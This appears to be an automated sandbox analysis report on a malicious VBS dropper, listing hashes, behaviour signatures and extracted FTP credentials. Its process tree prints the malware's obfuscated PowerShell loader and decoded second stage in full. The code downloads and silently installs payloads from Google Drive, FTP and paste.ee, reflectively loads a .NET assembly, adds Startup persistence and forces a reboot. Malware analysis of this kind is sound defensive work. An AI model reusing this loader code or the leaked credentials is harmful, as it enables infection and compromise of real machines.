Overview

overview

10

Static

static

1

bd3b1910de...33.vbs

windows7-x64

10

bd3b1910de...33.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    96s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2024 03:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs

  • Size

    165KB

  • MD5

    34f854905f0f1cfb29f41736b34c84d2

  • SHA1

    777d4629fd82935f3760168cc95cd12a69701425

  • SHA256

    bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933

  • SHA512

    5a671989c7924466b249a5fe0d75667e820bb75d82fcd6e613211cb721b41eb7f2f84c8ffbb5df4fd08277c3e9350714dd9764a7cc5f65286b51807e11cb97dd

  • SSDEEP

    3072:V0Z0Z0Z0Z0Z0Z0Z0Z0Z06K0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0p:q

Score
10/10
defense_evasiondiscoveryexecution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

  • Protocol:     ftp
  • Host:
    ftp.desckvbrat.com.br
  • Port:
    21
  • Username:
    desckvbrat1
  • Password:
    BFwGyaUBMY1578@@

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $fvgwr = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAG0Acw' + [char]66 + '' + [char]66 + 'AGcAZQ' + [char]66 + 'SAEQARA' + [char]66 + 'EACcAIAAsACAATQ' + [char]66 + 'vAHcATg' + [char]66 + 'zACQAIAAsACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AcA' + [char]66 + 'hAHMAdA' + [char]66 + 'lAC4AZQ' + [char]66 + 'lAC8AZAAvADEAMw' + [char]66 + 'QAHYAeQAvADAAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAbQ' + [char]66 + 'HAHEAaQ' + [char]66 + 'uACQAIAAoAGQAbw' + [char]66 + 'oAHQAZQ' + [char]66 + 'NAHQAZQ' + [char]66 + 'HAC4AKQAgAEUAZg' + [char]66 + 'YAHMAZwAkACAAKwAgAEcAaQ' + [char]66 + 'UAHoASgAkACAAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAPQAgAG0ARw' + [char]66 + 'xAGkAbgAkADsAJwAxAHMAcw' + [char]66 + 'hAGwAQwAnACAAPQAgAEUAZg' + [char]66 + 'YAHMAZwAkADsAJwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAgAD0AIA' + [char]66 + 'HAGkAVA' + [char]66 + '6AEoAJAA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkADsAKQAgACkAJw' + [char]66 + '' + [char]66 + 'ACcALAAnAJMhOgCTIScAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'yAC4AcQ' + [char]66 + '2AHoAZA' + [char]66 + '5ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'zAFsAIAA9ACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAgACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAUQ' + [char]66 + 'HAHAAZQ' + [char]66 + 'JACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAKAAgAD0AIA' + [char]66 + 'xAHYAeg' + [char]66 + 'kAHkAJAA7ACAAIA' + [char]66 + '9ACAAZw' + [char]66 + 'uAGkAcw' + [char]66 + 'yAGEAUA' + [char]66 + 'jAGkAcw' + [char]66 + 'hAEIAZQ' + [char]66 + 'zAFUALQAgAFEARw' + [char]66 + 'wAGUASQAkACAAZQ' + [char]66 + 'sAGkARg' + [char]66 + '0AHUATwAtACAAaw' + [char]66 + 'qAHoAaw' + [char]66 + '6ACQAIA' + [char]66 + 'JAFIAVQAtACAAdA' + [char]66 + 'zAGUAdQ' + [char]66 + 'xAGUAUg' + [char]66 + 'iAGUAVwAtAGUAaw' + [char]66 + 'vAHYAbg' + [char]66 + 'JADsAIAApACAAUQ' + [char]66 + 'HAHAAZQ' + [char]66 + 'JACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgAGsAag' + [char]66 + '6AGsAegAkADsAIAApACcAdA' + [char]66 + '4AHQALgAxADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACgAIAA9ACAAUQ' + [char]66 + 'HAHAAZQ' + [char]66 + 'JACQAewAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAMQAuADAALgAwAC4ANwAyADEAIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'wADsAIA' + [char]66 + 'jAC8AIA' + [char]66 + 'lAHgAZQAuAGQAbQ' + [char]66 + 'jADsAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAYwAkACAAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAQwAtACAAZw' + [char]66 + 'uAGkAcw' + [char]66 + 'yAGEAUA' + [char]66 + 'jAGkAcw' + [char]66 + 'hAEIAZQ' + [char]66 + 'zAFUALQAgAFEARw' + [char]66 + 'wAGUASQAkACAAZQ' + [char]66 + 'sAGkARg' + [char]66 + '0AHUATwAtACAAcg' + [char]66 + '2AHMAYg' + [char]66 + 'mACQAIA' + [char]66 + 'JAFIAVQAtACAAdA' + [char]66 + 'zAGUAdQ' + [char]66 + 'xAGUAUg' + [char]66 + 'iAGUAVwAtAGUAaw' + [char]66 + 'vAHYAbg' + [char]66 + 'JADsAKQApACkAKQApACAANAA2ACwANAA2ACwANgA1ACwANQA1ACwAMwA1ACwAOQA0ACwAOQA4ACwANwA3ACwANgA2ACwANQA4ACwAIAA3ADkALAAgADEAMgAxACwAIAAxADcAIAAsADkAMQAxACAALAAwADcAIAAsADYANgAoAF0AXQ' + [char]66 + 'bAHIAYQ' + [char]66 + 'oAGMAWwAgAG4AaQ' + [char]66 + 'vAGoALQAoACAAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMALQAgAGUAYw' + [char]66 + 'yAG8ARgAtACAAdA' + [char]66 + '4AGUAVA' + [char]66 + 'uAGkAYQ' + [char]66 + 'sAFAAcw' + [char]66 + '' + [char]66 + 'AC0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'lAHIAdQ' + [char]66 + 'jAGUAUwAtAG8AVA' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DACgAIAAsACkAKQA5ADQALAA2ADEAMQAsADcAOQAsADQAMQAxACwAOAA5ACwAOAAxADEALAA3ADAAMQAsADkAOQAsADUAMQAxACwAMQAwADEALAAwADAAMQAoAF0AXQ' + [char]66 + 'bAHIAYQ' + [char]66 + 'oAGMAWwAgAG4AaQ' + [char]66 + 'vAGoALQAoACgAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAQw' + [char]66 + 'TAFAAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAYwAkADsAKQAnAHQAeA' + [char]66 + '0AC4AMQAwAGwAbA' + [char]66 + 'kACcAIAArACAAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgACgAIAA9ACAAUQ' + [char]66 + 'HAHAAZQ' + [char]66 + 'JACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwARAAvADEAMAAvACcAIAArACAAJw' + [char]66 + 'yAGUAdA' + [char]66 + 'wAHkAcg' + [char]66 + 'jAHAAVQAvAHIAYgAuAG0Abw' + [char]66 + 'jAC4AdA' + [char]66 + 'hAHIAYg' + [char]66 + '2AGsAYw' + [char]66 + 'zAGUAZAAuAHAAdA' + [char]66 + 'mAEAAMQ' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC8ALwA6AHAAdA' + [char]66 + 'mACcAKAAgAD0AIA' + [char]66 + 'yAHYAcw' + [char]66 + 'iAGYAJAA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAGYARA' + [char]66 + 'ZAGMAbQAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'CAGwAcA' + [char]66 + 'rAHQAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAcg' + [char]66 + '2AG4ARw' + [char]66 + 'vACQAKAAgAD0AIA' + [char]66 + 'CAGwAcA' + [char]66 + 'rAHQAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAGYARA' + [char]66 + 'ZAGMAbQAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAcg' + [char]66 + '2AG4ARw' + [char]66 + 'vACQAKAAgACwAaA' + [char]66 + 'zAHcAdA' + [char]66 + 'tACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAG4AbQ' + [char]66 + 'nAHYAcAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'uAG0AZw' + [char]66 + '2AHAAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'uAG0AZw' + [char]66 + '2AHAAJAA7AH0AOwAgACkAJw' + [char]66 + '0AE8ATA' + [char]66 + 'jAF8ASw' + [char]66 + 'hADMAWg' + [char]66 + 'mAG8AWAAyAEoASg' + [char]66 + 'yAFYAaA' + [char]66 + 'tAFYAOQ' + [char]66 + 'jAG0AOQ' + [char]66 + 'YAHMAdQ' + [char]66 + 'YAG0AagAxAGcAMQAnACAAKwAgAGgAcw' + [char]66 + '3AHQAbQAkACgAIAA9ACAAaA' + [char]66 + 'zAHcAdA' + [char]66 + 'tACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnADIANA' + [char]66 + '1AFgASg' + [char]66 + 'UAHEAYQ' + [char]66 + 'tAGcAeQ' + [char]66 + 'NAHQARg' + [char]66 + '6AGEAaw' + [char]66 + 'QAFIAMQ' + [char]66 + 'xAF8ASQ' + [char]66 + '2AEcAaQ' + [char]66 + 'YAE4AZA' + [char]66 + 'xAGEATgAxACcAIAArACAAaA' + [char]66 + 'zAHcAdA' + [char]66 + 'tACQAKAAgAD0AIA' + [char]66 + 'oAHMAdw' + [char]66 + '0AG0AJA' + [char]66 + '7ACAAKQAgAGwAZQ' + [char]66 + '6AGYARgAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAbA' + [char]66 + 'lAHoAZg' + [char]66 + 'GACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGgAcw' + [char]66 + '3AHQAbQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAHIAdg' + [char]66 + 'uAEcAbwAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'yAHYAbg' + [char]66 + 'HAG8AJA' + [char]66 + '7ACAAKQAgAEcAdQ' + [char]66 + 'PAEYAUgAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEcAdQ' + [char]66 + 'PAEYAUgAkACAAOwA=';$fvgwr = $fvgwr.replace('уЦϚ' , 'B') ;;$ykcxg = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $fvgwr ) ); $ykcxg = $ykcxg[-1..-$ykcxg.Length] -join '';$ykcxg = $ykcxg.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs');powershell $ykcxg
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $RFOuG = $host.Version.Major.Equals(2) ;if ( $RFOuG ) {$oGnvr = [System.IO.Path]::GetTempPath();del ( $oGnvr + '\Upwin.msu' );$mtwsh = 'https://drive.google.com/uc?export=download&id=';$Ffzel = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $Ffzel ) {$mtwsh = ($mtwsh + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$mtwsh = ($mtwsh + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$pvgmn = (New-Object Net.WebClient);$pvgmn.Encoding = [System.Text.Encoding]::UTF8;$pvgmn.DownloadFile($mtwsh, ($oGnvr + '\Upwin.msu') );$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($oGnvr + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$fbsvr = ('ftp://[email protected]/Upcrypter' + '/01/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$credential = (New-Object PSCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)), (ConvertTo-SecureString -AsPlainText -Force -String (-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )))));Invoke-WebRequest -URI $fbsvr -OutFile $IepGQ -UseBasicParsing -Credential $credential;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$IepGQ = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$zkzjk = ( Get-Content -Path $IepGQ ) ;Invoke-WebRequest -URI $zkzjk -OutFile $IepGQ -UseBasicParsing } ;$ydzvq = (Get-Content -Path $IepGQ -Encoding UTF8) ;[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ydzvq.replace('↓:↓','A') );$sNwoM = 'C:\Users\Admin\AppData\Local\Temp\bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs';$JzTiG = 'ClassLibrary3.';$gsXfE = 'Class1';$niqGm = 'prFVI';[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).GetType( $JzTiG + $gsXfE ).GetMethod( $niqGm ).Invoke( $null , [object[]] ( '0/yvP31/d/ee.etsap//:sptth' , $sNwoM , 'DDDRegAsm' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3824
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c
          4⤵
            PID:2964
          • C:\Windows\system32\PING.EXE
            "C:\Windows\system32\PING.EXE" 127.0.0.1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1080
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABJAGUAcABHAFEAIAA9ACAAKABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApACAAKwAgACcAZABsAGwAMAAxAC4AdAB4AHQAJwApACAAOwAkAHoAawB6AGoAawAgAD0AIAAoACAARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABJAGUAcABHAFEAIAApACAAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAUgBJACAAJAB6AGsAegBqAGsAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEkAZQBwAEcAUQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAA= -inputFormat xml -outputFormat text
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1120

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      3KB

      MD5

      5b3fe3360d51d99169c014f6f425fef8

      SHA1

      914dbfc80ebd831ee27769e824ec1de19dd69fb1

      SHA256

      f6a703e122e6cd5bd10b31c1e869eb9b034f4114ad21f689b6d93819b7a65763

      SHA512

      5404bf581530160601fdaa9851c167fd68796a8ce15701097139eef7dc9ef0cf93446449fc1b5be2a23f4b57ad173aa8b35a48b9dedc948fe9e16e6a2bcd2170

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      3be41174f40d3d0c1d920d0706d42905

      SHA1

      0f1474468de21464387a3c382d06e85f6efeb37a

      SHA256

      956d9ce7b4cd344bc0b4ff79cd33aa36198539bc64d31d0c08df8addb3a2960a

      SHA512

      75886a199e8b5fb49d3d852cca9c93f3b85e288b781482c739ad078ec0e51121fc41d80066002d5f6fdc22de336c9b5e4fbc7aa4505783f79e20ec0637a58fa8

      Download Submit

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      948B

      MD5

      01d89dd05c27325bbfe34d7a2bc716ad

      SHA1

      fa0a5ce95e7e989da44face5a736172aba834ddc

      SHA256

      52bf1aacc2b2f03b2bbdca40b7eff5e041c8f2892575b3bf5cbaa000a02f71e9

      SHA512

      d7500eae5877d297fec543b607a1e6764ac07002178e92306de9b5a9cc76d9f42cdaa9a2b086ed1d3174c660afa120228affa80a4fb1ac4a430f7028449e0adb

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s0uammzp.ziq.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      Download Submit

    • memory/3736-0-0x00007FFE00F33000-0x00007FFE00F35000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3736-6-0x0000024CAA5A0000-0x0000024CAA5C2000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3736-11-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3736-12-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3736-22-0x00007FFE00F33000-0x00007FFE00F35000-memory.dmp

      Filesize

      8KB

      Download

    • memory/3736-23-0x00007FFE00F30000-0x00007FFE019F1000-memory.dmp

      Filesize

      10.8MB

      Download

